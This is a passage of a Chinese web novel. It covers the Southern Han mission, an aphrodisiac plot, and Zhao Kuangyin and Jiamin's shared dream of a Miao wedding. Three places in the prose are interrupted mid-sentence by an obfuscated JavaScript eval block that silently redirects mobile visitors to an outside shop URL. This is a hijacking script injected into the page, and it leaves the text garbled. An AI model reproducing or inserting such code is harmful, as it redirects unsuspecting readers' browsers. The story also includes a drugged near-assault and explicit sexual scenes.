黄保仪突然走下车来训话:“秋芙,瞧你这几日一旦歇息就溜去集市闲逛,身为太子妃娘娘的贴身丫鬟,这么不懂规矩的吗?” 嘉敏吃惊,忙道:“保仪莫怪,秋芙是得了我的命令才去的。” 黄保仪神色略为和缓,淡淡道:“娘娘年少,难免任意妄为了些,该劝的时候也要劝一劝。我们毕竟是去往南汉为皇后娘娘求药,这差事还不一定容易办,路上还是小心翼翼一些,以免横生枝节。” 表面上是在骂丫鬟,事实上却是在责怪嘉敏。 “是!”秋芙唯唯诺诺的答应,待那黄保仪离去,回到车中小声嘀咕:“为人这么刻板严厉,又一把年纪,难怪太子不喜欢!” 嘉敏点点头,虽说背后议论人长短并非淑女所为,可她心里也这么认为,就不觉得秋芙所言有何不妥,小口吃着樱桃毕罗,想了片刻道:“她是皇后派来跟着咱们的人,以后她说什么,照做就是了。” 秋芙撇嘴不屑道:“我看她是欺你年少才出言无状,小姐以前在家里,连老爷和夫人也不曾这般训过话,赵公子待你更是千呵百护如珍似宝。现在好了,竟被派出来做苦差事,连个低阶嫔御也能随便指手画脚。小姐,你说要等到哪一天赵公子才能来接你呀,我都快等不及了!” 嘉敏微笑摇头:“我不知道……” 话音甫落,忽觉车身轻微晃动,一个人影闪现在眼前。 似乎知道两个女孩儿会发出尖叫,秋芙肩头一麻被点了哑穴,嘉敏则被捂住了嘴。 来人正是赵匡胤,一身黑衣劲装,面目冷峻,低声道:“嘉敏,我来保护你!” 嘉敏又惊又喜,眨着眼睛点头。 安静片刻才听他道出因由,竟是北朝皇帝要派人暗杀她,不免心惊胆战。 秋芙急道:“赵公子可知道派来的是何人?” 赵匡胤皱眉,沉声道:“我!” …… “这些天我都会在附近,和你一起去往南汉。”赵匡胤抬手摸着她的脸颊柔声道:“别怕,我不会让任何人伤害到你的!” 嘉敏娇羞点头,两个人的目光胶在一起,一时忘了身旁还有别人,待回过神时,秋芙抬手捂住眼睛道:“我不存在,我看不见!” 两人觉着好笑,却也真的不再避讳,闭上眼额头相抵。 猝不及防的重逢令嘉敏几乎忘记了危险,半晌才转过神思皱眉问道:“赵哥哥,你不杀我的话,如何向北朝皇帝交代?” 赵匡胤冷冷道:“交代不了便不交代,放心吧,此事我自有安排!” 此去兴王府(广州)路途遥远,赵匡胤经常悄悄来看嘉敏,有一阵却不来了,只因柴荣派了心腹何萧来盯梢,任何行动都不易隐藏,只能暂时断了联络。 一月后到了南汉境内,何萧即催促道:“赵将军打算何时动手啊?以何某的建议,皇上交代的差事该是越早办完越好!” 赵匡胤横了他一眼,不咸不淡地道:“既然何大人这么着急,不如今天就动手!” 何萧目露精光,“如此,甚好!” 皇上如今对赵匡胤的猜忌日深,若能抓住他违抗皇令的错处,便可治以重罪。 何萧迫不及待想要完成差事,带着自己的几名心腹亲兵一起参加了对南朝太子妃的刺杀。 岭南多山,白天行路突然窜出来一伙山匪劫道也毫不奇怪。赵匡胤等人就扮成了蒙面山匪的模样,待南唐车队经过时冲杀出来。 听见外面杀声震天,嘉敏和秋芙蜷缩在车上瑟瑟发抖。 何萧本和赵匡胤等人同仇敌忾,杀了几个回合之后察觉不对劲,自己带来的那几个心腹不知怎地全都死在了南唐士兵手上。 待看出是赵匡胤等人在推波助澜,想要夺路而逃时,赵匡胤突然推了一个南唐士兵一把,士兵向前冲了几步,长刀将何萧捅穿,瞬间倒地而亡。 收拾完柴荣的心腹,众人当即撤离。 南唐士兵折损一小半,连统帅也负了伤。 陈抟老祖急匆匆跑来,看过嘉敏和黄保仪之后提议道:“老道云游天下,早就听闻岭南一带山匪穷凶极恶,连南汉朝廷也无力镇压,为防再次遇袭,怕是要增添些人手来护卫才是。” 黄保仪早已吓破了胆,颤声道:“可我们已经离开南唐国土,能到哪里去找护卫?” 陈抟老祖呵呵笑道:“护卫自然是在山匪出没之地附近的镇子上做生意,我们走一段,路过村镇大概就能找到,只要价钱合适,雇十来个高手不成问题,不知娘娘意下如何?” 黄保仪抚着胸口道:“保命要紧,多少钱都雇,不如现在就去镇子上找吧,若待会儿那些匪徒去而复返就麻烦了!” 镇子不远,小半个时辰就到了,护卫也找的很顺利,正是一群南汉人打扮的赵匡胤等人。 嘉敏自打第一眼看到他就面红心跳,急忙缩回车里,生怕被人瞧出破绽,连秋芙想要小声说两句,也被她捂住嘴叮嘱道:“娘说黄保仪是个再精明不过的人,很是懂得察言观色,我们千万不能露出马脚,这些时日尽量不要去看赵哥哥他们,就当做不认识知道吗?” 秋芙点头,待她把手拿开,吸了口气道:“我倒是可以忍住不去看赵公子,可小姐你呢?” 明明近在咫尺,却连看也不敢看,嘉敏登时满脸忧色,不再言语。 好在秋芙机敏,借口暑天行路酷热难当,每日总要送两次冰饮给雇来的好汉,其中赵匡胤那份自然是嘉敏花了些心思的。 而嘉敏每日也总能从自己的马车里找到一些新奇事物,有时候是糕点,有时候是好玩的小物件儿。最好玩的一次,找到了一个鸭蛋壳做的萤火虫灯笼,逗的她和秋芙两个人在寝帐里玩到半夜。 途中又遭遇了两次山匪袭击,赵匡胤众兄弟一味护着嘉敏和秋芙,偶尔才给予他人一些照拂。 黄保仪从马车中跌下来,狼狈不堪,一抬眼,赵匡胤却抱着嘉敏避开所有危险,还把山匪杀的七零八落。 嘉敏在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149375|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的护卫下,连根头发丝也不曾凌乱,再看看自己灰头土脸的模样,黄保仪不免气怒,待山匪去后,厉声喝道:“放肆,一个护卫竟然抱我南唐的太子妃娘娘,你该当何罪?” 赵匡胤放开嘉敏冷冷道:“当时情况危急,草民不过是怕太子妃娘娘受伤而已,未曾考虑到此举有何不妥。” 秋芙小声道:“黄保仪娘娘的意思是希望各位大哥不要只保护太子妃娘娘,也要保护她的安全才是!” 石守信点头道:“我等糙汉瞧着太子妃娘娘年轻貌美,又身份尊贵,一时忘了还有另外一位娘娘需要护卫,对不住了!” 他早看不惯黄保仪对嘉敏指手画脚的模样,才故意夹枪带棒的气她。 黄保仪果然黑着一张脸,怒气冲冲地走开了。 终于到了兴王府,路上雇佣的护卫不能随行入宫,只好就这么分开了。 嘉敏一时没忍住,掀开车帘一直看着赵匡胤,直到转弯处再也看不见。 随行的侍卫在一旁窃窃私语:“听说南汉的皇帝是个怪人,凡是在宫廷出没的文臣武将大部分被阉割成了宦官,说什么男人只要被阉割,也就不会有后代,自然也不会生出谋朝篡位之野心。一个小小的弹丸之地,竟是一个由七千多宦官组成的朝廷,可真够瘆人!” “非但如此,听说这皇帝的行宫有十几座,咱们此去,还不一定能见着。” “见不着最好,省得他脑筋不正常,把哥儿几个抓起来给阉割了,哪还有脸再回去?” “这怎么成,我还没娶亲呢……” 秋芙听完拍拍砰砰直跳的心脏对嘉敏道:“还好我们只是要见南汉的皇后,大约不会与那皇帝碰面。” 虽说皇帝荒淫残暴,可那曦宁皇后却是个深受百姓拥戴的女菩萨,对此次南唐太子妃来访也十分重视,早早安排好了行宫供嘉敏等人休息沐浴,以解长途跋涉之劳顿。 曦宁皇后还特地为嘉敏准备了药浴,泡过之后果然轻松了不少。 眼见时辰不早,秋芙服侍她穿上寝衣回房休息。 “秋芙,这些时日你也很辛苦,今晚就不必陪我了,自己好好睡一觉。” “好吧,都听小姐的!” 嘉敏独自回房关上门,朝寝帐走了两步,竟瞧见那薄纱的幔帐后竟有一个男子影,吓得她尖叫一声,崴到了脚,竟扑倒在那男子身上。 那男子便抱着她倒在地上,闻着她身上细细的药香,忽觉气血上涌,沉声唤道:“嘉敏——” 竟是赵匡胤!可他怎会在自己房间? 嘉敏心下茫然,想要站起来,然而她扑倒时连那纱帐也扯落下来,如今二人被它紧紧缠着,越是想要挣脱反倒越缠越紧。 “赵哥哥……”嘉敏有些焦急,两人虽情爱甚笃,却从未这般纠缠过。 似为了回应她,赵匡胤揽着她的腰在地上翻滚了一下,将整副躯体压在她身上。 嘉敏陡觉他的身体如火一般滚烫,以为是发了高烧,刚想说什么,两只手忽被他制住,猝不及防的唇齿相接——他竟然吻了下来,很用力,很粗暴。 嘉敏惊骇,感觉到他的气息正在一寸寸将自己吞噬,连自己单薄的寝衣也被扯开,脖颈上也留下了他灼热的吻痕,吓的大哭,“赵哥哥不要——” 41.忽如一夜 柔弱的躯体难以逃脱他的掌控,感觉像是陷入了泥沼。 好在赵匡胤在触碰到她温软的胸部时陡然惊醒,放开了惊慌失措的嘉敏,一言不发跑出去跳进院中冰冷的池塘里,用冷水不停地洗脸。 嘉敏拉好衣裳跑出来,想也不想跟着他一起跳进了池塘里抱住他:“赵哥哥——” 虽说方才的情形令她惊恐不已,可这么多年赵匡胤何曾伤过她半分? 知她身子柔弱,在冷水里泡着唯恐会有闪失,赵匡胤回身抱着她上岸。 翻涌的气血已被强行压制下来,他自小习武,也颇通医理,知道自己方才的行径并不寻常,遂问道:“嘉敏,你怎么会在这儿?” 嘉敏茫然道:“是南汉的皇后安排我在这间驿馆休息,赵哥哥难道不是悄悄跟来保护我的么?” 赵匡胤沉声道:“不是,我以北周密使的身份求见南汉皇帝,是他将我安排在这里过夜的!”眼眸一抬已想出了答案:“是计谋!” 话音落,已有人提着灯笼出现在回廊里,看起来阵仗还不小。 赵匡胤将嘉敏揽在怀里低声道:“这些人是来捉奸的,不能让他们看到我们!”说罢带着她躲闪起来逾墙而出。 此刻他已然明了自己怕是中了媚药,而嘉敏身上古怪的药香更加令他难以自己,故而只逃出不远就单膝跪倒在地无法行动。 媚药之毒大多猛烈异常,若不及时解救,多半会气血逆行爆体而亡。 “嘉敏,你自己走吧,待在我身边会有危险!”赵匡胤额上大汗淋漓,气息越来越乱。 嘉敏自然不懂他话中的深意,摇头道:“不管在哪儿,我都要和赵哥哥在一块……” “这次不行……”赵匡胤费力想要解释,却察觉到有人靠近。 暗夜中传来一股幽香,一个穿着异族服饰的女子突然出现在他们面前,问道:“两位可是北周的赵匡胤将军和江南太子妃周娘娘?” “不是!”赵匡胤将嘉敏拉在身后,挣扎着站起身。 异族女子皱眉道:“赵将军,你身上的毒是我下的,错不了,我是南汉的皇后曦宁!” 赵匡胤捂着胸口差点吐血,冷笑道:“果然是南汉朝廷的毒计!” 曦宁皇后摇头道:“不是我的意思,是陛下的旨意。我是来给你送解药的,你若信得过我,请先喝下去吧!” 虽说自己大约已支撑不了多久,赵匡胤依旧针锋相对:“我如何能信你?” 嘉敏经过上次为他寻药引的事情之后,胆子益发大了,走上前将解药接过来道:“如果这瓶子里是毒药,我喝下之后必然中毒对不对?” 曦宁皇后皱眉道:“周娘娘是想为赵将军试药么?我苗人大多擅长以毒攻毒,不过此解药倒是无毒,你喝了也无妨!” 嘉敏遂打开药瓶自行灌下去一小口,又回头对赵匡胤道:“赵哥哥,若是毒药,咱们就死一块儿吧!” 横竖眼下也别无它法,赵匡胤咬牙点头,将剩下的解药全部喝下去。 曦宁皇后瞧了二人片刻,缓缓解释道:“赵将军,周娘娘,你们二位一个是北朝大将军,一个是江南太子妃,却偏偏凑到一起来出使我南汉。出于什么目的姑且不论,不过皇上以为这是个绝佳的机会——倘若北周大将军和江南太子妃被人发现通奸,两国之间势必会引起战火,我南汉便可坐收渔翁之利,是以他才命我下毒。” 到了此刻嘉敏才明白赵匡胤所说的计谋是何意,喃喃道:“可你是他的皇后,为何反过来帮我们?” 曦宁皇后目光怨毒,冷冷道:“因为我恨刘鋹,他根本就不配做人!赵将军大概知道南汉朝廷是一群宦官在当政,这些宦官里面也包括我的爹爹、哥哥还有弟弟!” 赵匡胤登觉脊背发凉,他对刘鋹的非人行径早有所耳闻,却不想竟连枕边人的血亲也难免遭其毒手,如此皇后不肯为他卖命倒也说的通。 曦宁皇后盯着他道:“有一位叫陈抟老祖的老神仙告诉我,赵将军乃是天上的真君转世,有经纬天地之才,也是唯一能解我困厄之人。而我之所以送解药过来,是想和赵将军合作,希望不久的将来,你能杀了刘鋹,助我的家人和南汉百姓脱离苦海,故而才不希望你有所闪失。” “娘娘这是谋逆吧!”赵匡胤此刻倒不必与其辩论陈抟老祖那通唬人的谎话,淡淡道:“不过换做是任何一个人,只怕也会做出和娘娘同样的选择。若赵某和周娘娘能够平安度过这次困厄,便是欠娘娘一份莫大的人情,日后定当投桃报李,助娘娘报仇雪恨!” 眼见行动颇为顺利,曦宁皇后暗松一口气,“赵将军的话曦宁信的过,在此多谢了!”说罢目光在二人脸上转了几转,幽幽问道:“眼下有一事还请二位切勿隐瞒,你们可是情侣?” 赵匡胤暗吃一惊,紧张地抓住了嘉敏的手。 曦宁皇后慌忙解释道:“赵将军不要误会,我并不是想套你们的话,只是这解药对寻常人无碍,若是给一对相爱却不得相守的情侣喝下去,多少会有一些副作用。尤其周娘娘身子弱,怕是待会儿就要昏过去了!” 赵匡胤慌忙抱住嘉敏,见她果然昏昏欲睡,不由眉头紧锁。 曦宁皇后道:“那驿馆里的人在房中没有找到你们,多半会出来搜寻,倘若给他们看到了怕是浑身是嘴也说不清,赵将军不妨带着周娘娘同我去一个安全的地方暂避!” 事情已经到了这个地步,若曦宁存心在害他们,大约不必这般迂回,赵匡胤当即点头,抱起嘉敏随她而去。 曦宁驾着马车将他们送去了城外一个偏僻的苗寨里,路上连赵匡胤也开始有些头昏脑胀。 “这里简陋了些,不过很是隐蔽,旁人找不到的,二位好好睡上一阵,做一场梦,就会恢复如初。”曦宁点燃了桌上的油灯,屋中陈设都是苗寨的风格,色彩艳丽,多余的东西很少。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157431|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可毕竟身在敌国,若是昏睡过去自然不大放心,赵匡胤将嘉敏放在床榻上皱眉问道:“会昏睡多久?” 曦宁温柔地摇头:“我不知道!听我师父说情爱愈笃,睡的时间越长,梦境也越逼真,到时候怕是你们自己都不愿意醒过来了!” 此等奇毒赵匡胤闻所未闻,无奈道:“如此,便劳烦皇后娘娘这段时间守护我和嘉敏的安全,赵某感激不尽!” 这曦宁皇后原也是个青春貌美的女子,此刻借着灯光看清了赵匡胤的相貌,虽面带倦容,却十分俊美,不免心头有些悸动,唯恐被其瞧出什么来,慌忙低头道:“周娘娘的衣服都湿透了,我先帮她脱下来……” “我来就好……”赵匡胤想也不想阻止了她,甚至也不大在意自己此举有何不妥,在他心里自己早已是嘉敏夫君。 曦宁皇后怔住,吞吐道:“那……不打搅二位了……” 待她走后,赵匡胤遂将门从里面反锁,用仅剩的力气脱下湿透的衣裳,又将嘉敏的也脱下来,抱着她躺在一起,本想用内力烘干身体,可却不受控制地睡去了。 曦宁说的没错,这药会令人做梦! 梦中的自己乃是个苗疆少年,就生活在这座苗寨里。 这天寨子里很热闹,因为有姑娘家到了年纪,穿着嫁衣在选夫婿,外面一片吆喝声,像是在划拳赌酒。 赵匡胤走出去,见那个长的和嘉敏一模一样的待嫁女孩儿坐在桌子上,旁边正是一波一波上前来赌酒的少年男子。 “嘉敏”的爹是酿酒的,想要找一个海量的女婿,才定了这个方法来给女儿选夫婿。 可嘉敏显然兴致缺缺,手托腮一味坐着发呆,见赵匡胤来了才突然有些精神,朝他挥挥手,又指了指不远处的一盘荔枝。 赵匡胤会意,把荔枝端过去给她吃,而后默默在一旁看热闹。 苗寨少年擅饮是出了名的,是以许久还未选出最终优胜者。 嘉敏剥了两颗荔枝,突然心头一热,又朝赵匡胤挥手,接着指了指赌酒的少年们。 赵匡胤诧异地指了下自己,问她是不是想让自己也参加。 嘉敏抱着盘荔枝点头不止,一脸期待。 可梦里的赵匡胤与嘉敏尚不熟悉,想了想摇摇头。 下一刻愁容就爬上了嘉敏的脸,荔枝也不吃了,水汪汪的眼睛眨呀眨的,一副快要哭出来的模样。 赵匡胤登时大为不忍,上前与人拼起了酒。 北方汉子酒量本就不一般,直喝倒了十几个挑战的苗疆少年顺利夺冠。 嘉敏满心欢喜地跳下来和他抱在了一起,依照苗寨的规矩,二人很快披上喜服,在漫天飘洒的鲜花里拜了天地。 苗人很少闹婚房,而况赵匡胤已有些醉意,待人都散去,解去了喜服,嘉敏凑上前贴着他的耳朵问道:“听说洞房很好玩的,你会玩吗?” 赵匡胤:“……” 42.幽梦无痕 好在只是幻象…… 酒气逐渐上头,怀里的嘉敏却突然被几个俏丽的苗家姑娘拉走。 苗寨的规矩很有意思,不像汉人的抛绣球或者比武招亲,胜者可以直接拜堂,而是给了少年男女反悔的机会。 七日之内,如果女孩儿向父母提出自己不愿嫁,父亲则会带着好酒送给男子表示歉意。 而男子若不愿娶,就不必趁夜去翻少女的窗,一旦踏入女孩儿的闺房,就代表木已成舟。 第一天晚上,赵匡胤就跳窗进去了。 嘉敏早已换上寝衣,大约是没料到他会来的这般快,惊讶过后开心地和他抱在一起。 赵匡胤柔声道:“我白天醉的厉害,还没来得及准备成亲的礼物,可又害怕来晚了你会改变主意,托你父亲上门退婚,所以想先来告诉你一声。” “我的礼物也还没有准备好呐!”嘉敏眼眸骨碌碌转了几转,心下有了主意,却不肯说出来。 定情信物是很重要的一环,未必贵重,却定要出自真心。等信物交到双方手上,才算真正完成婚仪。 赵匡胤随着姑母生活,定情信物也是姑母拿出来的传家宝——一对镶嵌着瑟瑟(蓝宝石)的指环。 “这指环在整个苗寨只有一对,不能拆散,更不能更换主人,戴上它这辈子就不能取下来了!”姑母看着面前两个年轻人,眼神颇有些玩味。 赵匡胤和嘉敏对视了一眼,握紧她的手道:“姑母放心,我和嘉敏这辈子都不会分开的!” 两个人开开心心戴上了指环,赵匡胤和姑母留在家中准备婚宴,嘉敏则和同龄的少女们一起去后山采花来布置婚房。 只是她要采的花有些特别,长在药王谷附近。听闻此花有异香,做成荷包佩戴在身上,能使郎君心意不变。 不过此花难寻,嘉敏找了许久终于给找到了。 只是那艳丽的花朵下面藏着毒蛇,采到花的同时却也被咬伤,倒在了花丛里。 同伴看着从她手腕上爬走的花蛇吓的掉头而去,回到寨子里把赵匡胤叫来。 人人都知道药王谷的婆婆养了很多毒物,那毒蛇多半也是从谷中跑出来的,想给嘉敏解毒只能带着她求见那古怪的婆婆了。 药王婆婆倒是不如何拐弯抹角,只是哂笑:“这小畜生是天生地养的毒物,尚且无药可解,被它咬一口,合该是幽冥地府来拿人,我救不了!” 赵匡胤身子僵直,跪着不动,嘉敏的毒已扩散全身,白皙的脸庞也变成黑色。 药王婆婆端详他片刻,桀桀怪笑:“我瞧你难受的紧,不如这样,我让这小畜生也咬你一口,送你一起上路,好免去这等摧心断肠之苦。” “如此,多谢婆婆了!”赵匡胤俯下身,将嘉敏抱在怀里,柔声道:“别怕,我不会让你孤零零死去的!” 药王婆婆眼中满是试探,见他果然一动不动,就真的将毒蛇放出,看着那小畜生爬到赵匡胤背上,对着他的脖颈狠狠咬了一口…… 过了不知几日,赵匡胤睁开眼,非但自己无事,连嘉敏也好好的坐在身边。 劫后余生的二人抱在一起,还以为已经到了阴曹地府…… 不对,天是亮的,还有太阳。 “其实这蛇毒并非无药可解,只不过我老婆子自打被恋人抛弃以后,已经不再相信世间的情情爱爱,是想替这姑娘考验一下你的诚心罢了!”药王婆婆缓缓走出来,手里还盘着那条毒蛇。 嘉敏吓的躲进赵匡胤怀里,听他道:“多谢婆婆救我二人性命,不知可有什么能报答的?” 药王婆婆点头:“知恩图报,倒是一个有血有肉的汉子。我老婆子倒是没什么需要你的地方,只是我有一个徒弟在宫里当皇后,倘若哪天她需要你,就请你务必鼎力相助,救她出困厄!” 赵匡胤知其所言乃是曦宁皇后,当下点头答允。 回到寨子,很快举行了婚仪。 婚宴依旧被灌酒,好在不似招亲那日醉到上头。 几个苗寨姐妹将嘉敏蒙上双眼带到婚房里来,她伸长手臂到处摸,跌跌撞撞的扑进了赵匡胤怀里。 姐妹们笑着掩门离开,赵匡胤解下她蒙眼的红绸,见她装扮的再美丽不过,一时气血翻涌,甚至没有说话,抱她在榻上轻抚她的脸颊。 “那个……” 惊慌的眼神似乎是想逃离他的掌控,赵匡胤闭上眼低头吻她,毫不犹豫抬手解开她的衣带。 衣衫褪去,嘉敏只觉自己犹如一枝风中的杨柳,狂风自她的身体上寸寸抚过,吹到哪里,她就摆向哪里,缠酥入骨的娇吟无法抑制。 赵匡胤俯下身与她软舌交缠,轻轻安抚她。 此刻两个人身上唯一还戴着的东西只剩下那对瑟瑟指环,嘉敏的脚趾划过他紧绷的小腿,对即将到来的一切茫然又惊惧,可却难以抗拒。 略带醉意的男人,连眼神也有几分迷离,温柔地抚开她额前的乱发,不可自持地占有她。 嘉敏被他堵住了唇舌,手臂也牢牢的被压制,十指相扣,紧了又松,松了又紧。肌肤上全是汗,连眼睛也有些模糊了。 在眩晕中度过大半个夜晚,亦不知是何时入睡,只觉天亮的太快,还没有睡饱。 赵匡胤起身将帷帐拉的更紧一些,回头又俯下身轻吻她娇艳的花唇。 苗寨里的人大多有早起的习惯,清晨就能听到用土砻碾米的声音。 不知听了多久,嘉敏终于睁开眼,外面已是日上三竿,可她连衣服都没得穿,还有些虚弱…… 嘉敏不说话,伸出手臂,赵匡胤便将她抱起来。 洗过热水浴后痛楚减轻了不少,又被抱去喂早膳。 “我起的这般晚,姑母不会怪罪吗?”嘉敏小声问。 赵匡胤笑道:“怎么会?我们家没什么规矩要守,你爱怎样便怎样,不需要小心翼翼的。” 嘉敏听罢吞了一口口水问道:“想做什么都可以么?” “是!想做什么都可以!”赵匡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172931|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胤宠溺地捏她的脸颊,“不过在做之前先把肚子填饱,好不好?” “唔,好香软的粥!”嘉敏坐在他腿上,被一口一口投喂,一派餍足,好像她十多年从未吃过这般好吃的粥一样。 因要上山采药,早膳后赵匡胤就留她一人在家。院中碾米的姑母透过窗子见她一直坐在床上拿着一支笔想一会儿写一会儿的,时而皱眉时而偷笑,也不知是在做什么,好笑地摇摇头,却并不打扰。 赵匡胤采药归来,她手边的纸已经堆了好几张,可似乎还没有写完。 “在写什么?” “唔……一些你都知道的事情了。” “我知道?” “当然了,是你自己做的事情嘛!” 越说越离谱,赵匡胤奇道:“我……做什么了?” 嘉敏扬扬手边写满字的纸,干脆递给他看,那映入眼帘的赫然是…… “我和青雀她们说好了,成婚之后要把新婚之夜发生的事情当作笔记写下来,大家一起看,以免说出来的不够详细。”嘉敏眨着眼开开心心地解释:“这是姐妹之间的规矩了,我们向来如此。你看看,有没有写的不对的或者要补充的地方?” 赵匡胤凝眉,哪里有什么不对?连他亲了哪里如何亲的都写的一清二楚,每一步做了什么更是事无巨细一点遗漏都没有,还提到了自己在她耳边的呼吸声和…… “你确定这些是可以拿出来和别人一起看的么?”赵匡胤将笔记合上握在手里,很想阻止自己的小娘子和姐妹们分享这些。 “那是自然,说好的事情岂能反悔!”嘉敏振振有词,一副自己乃是个信守诺言之人的模样,说着还犹疑了一下补充道:“这笔记其实还不完整,关键的部分要画下来才行!” “还要画下来——”赵匡胤益发感觉不对劲,“那个‘关键的部分’不会是指……” 嘉敏狠狠点了几下头,当然是指如何操作的部分了,“我好像得画三张,因为……” 赵匡胤翻了个白眼,捉住她的手决意要阻止这么荒唐的事情发生,“你没时间画了!” 嘉敏正自诧异,人已经被他抱起来,眸中似燃着烈火,凝着她幽幽道:“我昨晚尚未尽兴!”话音落已将她放在寝榻上,欺身上前。 “那个……”嘉敏登时大为紧张,柔软的身体似乎已经不属于自己,也不确定能否再承受一次他的狂风暴雨。 赵匡胤好笑地看着她,舌头卷一下她的耳垂,嗓音很是低沉:“再让你多写几页笔记,好不好?” “唔……” 不待她回答,单薄的衣衫已被扯开,没有温柔的安抚,似乎连力道也重了许多,连任何一寸肌肤都不放过,滋味比之昨夜更加蚀骨销魂,而且他还用了新的手段,万全放任,好令自己尽兴。 这下怕是又要多画几张才行了…… 午后密友来访,嘉敏勉强下了床,手里拿着尚未写完的笔记,在众人诧异的眼神中,跌跌撞撞的,唔……扶墙而出。 43.鱼沉雁杳 脚底凉凉的,因为忘了穿鞋,连袜子也褪到了脚踝。 梦境的最后,赵匡胤走上前将她抱起来柔声道:“走不动就不要走,我抱你过去!” …… 醒来时见自己躺在赵匡胤怀里,连衣衫也脱掉了,嘉敏慌忙抱住被子把自己藏起来。 “那个……”赵匡胤也烧红了脸,“之前我们在水塘里衣裳都湿透了,只好脱下来!” 嘉敏点点头,很相信他说的话,只是这情形很难不令人联想到别的东西,遂小声道:“我刚才做了一个梦,梦见……” 见她面上泛起如酒醉的酡红色,赵匡胤心念微动,解释道:“我也做了一个梦,梦见我们成了亲,你在梦里还写了许多字,还要作画……” 他说的很是含蓄,嘉敏听罢却举起被子把脸也藏进去,半晌不出声,不管对方怎么拍,都不肯取下来。 赵匡胤诧异,想了片刻问道:“该不会是我们做了同一个梦吧!” 的确,嘉敏的反应好像是知道那写的是什么东西一样。 “我什么都不记得了!”嘉敏无语凝噎,细节竟然都对上了,看起来真的是同一个梦,这教她怎么敢承认? 赵匡胤点头,片刻自嘲似的笑了一声:“老天爷当真待我不薄,只有做梦才肯我娶到你,醒过来以后什么都没有变!” 嘉敏听出他话里的伤痛,把被子放下来,伸出手臂抱住他,柔声道:“我……好想嫁给赵哥哥,一直都想!” 这温柔缱绻的话语如此动人,赵匡胤伸出手臂将她抱紧,闭上眼道:“嘉敏,再等一等我好不好?不管前路有多艰难,我都不会忘了曾经的誓约,我……一定要娶你!” 嘉敏不说话,只是在他怀里点头。 两人大约是睡了一天一夜,醒来没多久太阳就落山了。穿好衣衫走出去,曦宁皇后和侍女一同为他们准备了饭食。 见主人招待甚为周到,二人也不好推脱,入席用膳。 曦宁皇后乃是个心思缜密之人,顺口提起了眼下的情势:“刘鋹那边我已派人送去消息,说我毒错了人,北周的赵将军和江南太子妃都好好的,计划失败。” 赵匡胤点头:“南汉并无人认识赵某,这借口倒也勉强说的过去。” “还有一事想提醒二位!”曦宁皇后看着嘉敏道:“刘鋹好色,以周娘娘之倾城容貌,若是入宫觐见,难保他不会对你无礼!” 嘉敏顿觉惊恐不已,自她长大以来,容貌便令她吃尽苦头,难道说这南汉的皇帝也会留难于她么? 赵匡胤冷冷道:“那便不见他!反正刘鋹也不知道哪一个才是江南太子妃,换成谁去都无大碍。” “赵将军所言甚是!”曦宁皇后沉声道:“江南派人前来不过是为了求药,这药我自然会给。听说除了周娘娘以外,还来了一位黄保仪,让她顶着周娘娘的名头入宫,刘鋹也看不出什么。只是这几日,周娘娘最好就藏在这寨子里,不要去城中,以保万全。” 若嘉敏藏在这里,赵匡胤自然是要留下来保护她,沉吟片刻道:“大周使臣也不过是想阻止南汉与江南结盟,送点礼物给刘鋹,让守信代替我去也无不可。” 一番合计,赵匡胤修书一封托曦宁皇后送去。而黄保仪那边,则是陈抟老祖留书,言明自己带嘉敏去山中采药,入宫求见一事则由她全权代劳。 黄保仪知钟氏皇后对陈抟老祖素来敬重,他的话自然不能不听,否则误了大事,她也担待不起。 于是刘鋹那日见到了假装是嘉敏的黄保仪,以及假装是赵匡胤的石守信。 双方都无甚要事,求药的得到了药方,送礼的也把礼送出去了,刘鋹陪着走了个过场,就把事情全部交给曦宁皇后,自己跑去后妃宫中寻欢作乐,躺在那容貌俏丽的妃子腿上啧啧道:“听闻那江南的李煜是个才子,还以为他那妃子不是倾国倾城,也至少国色天香,特意跑去瞧上一眼,不想竟是个半老徐娘,还比不上我的紫儿一般俊俏,当真扫兴!” 那年轻貌美的紫妃娇嗔道:“听皇上的意思,若她是个貌美的,你此刻怕是还在前殿陪着喝酒吧!” “自然不会!”刘鋹一脸淫·笑,起身搂着妃子道:“朕会将她带来,和紫儿你一起好好泄一泄身上的火!” “皇上,你真坏!”紫妃一边捏起小拳捶打他胸口,一边顺从地随着他倒在榻上。 两国出使之事竟这般毫无水花地结束了,黄保仪在宫外拦下石守信,指着他问道:“你们这些北朝人之前扮成护卫跟着我们的车队,究竟是何企图?” 石守信打了个哈哈,不屑地道:“自然是就近监视,看看你们江南人究竟有没有借着求药的名义,暗地里勾结南汉,对我大周不利!” “只是为了这个?”黄保仪面色涨红,骂道:“我瞧你们是觊觎太子妃娘娘的美貌才一路跟着的吧!” 